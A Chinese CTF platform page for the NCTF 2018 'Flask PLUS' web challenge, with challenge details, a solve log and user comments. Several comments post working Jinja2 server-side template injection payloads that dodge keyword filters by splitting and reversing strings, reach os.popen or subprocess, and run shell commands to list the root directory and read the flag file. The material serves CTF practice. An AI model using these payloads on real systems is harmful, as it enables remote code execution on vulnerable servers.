Flask PLUSWEB 未解决

分数: 0 金币: 0
所属赛事: NCTF 2018
题目作者: 未知
一  血: harry
一血奖励: 0金币
解  决: 90
提  示:
描  述:
yulige你又写bug了!
评论
zrlht 8天前

搞半天是在url后面写表达式

回复 0

不会编程的崽 10月前

%7B%7B''['__cl'+'ass__']['__ba'+'ses__'][0]['__subc'+'lasses__']()[218]['__in'+'it__']['__glo'+'bals__']['__bu'+'iltins__']['__imp'+'ort__']('o''s')['po''pen']('cat%20/Th1s_is__F1114g').read()%7D%7D

回复 0

minhaf 1年前

{{''["__ssalc__"[::-1]]["__esab__"[::-1]]["__sessalcbus__"[::-1]]()[223]('cat /Th1s_is__F1114g',shell=True,stdout=-1).communicate()[0].strip()}}

回复 0

希卡利 1年前

ssti模板注入,先试试{{7*7}},输出49就是有,再输入{{lipsum.__globals__['o''s']['pop''en']('ls /').read()}}就看到flag了

回复 0

2728462336 2年前

简单的SSTI模板注入

回复 0

WriteUp

image
sean

2 金币

评分(0)

暂无评分

解题动态

zant 攻破了该题 5天前
pinus 攻破了该题 6天前
zrlht 攻破了该题 8天前
xiaodou 攻破了该题 10天前
i8vkmmju 攻破了该题 11天前
Zengan 攻破了该题 14天前
jibabenba 攻破了该题 15天前
caixinggang 攻破了该题 16天前
hdcc1 攻破了该题 19天前
vx606v 攻破了该题 21天前
孙笑川ᒿ58 攻破了该题 1月前
zhatao 攻破了该题 2月前
xyjwkg 攻破了该题 3月前
HamiLemon 攻破了该题 3月前
un 攻破了该题 5月前
tschick 攻破了该题 5月前
sanyeyise 攻破了该题 5月前
qixueying 攻破了该题 5月前
cmijohnson 攻破了该题 5月前
zyq.jocelyn 攻破了该题 5月前
问题反馈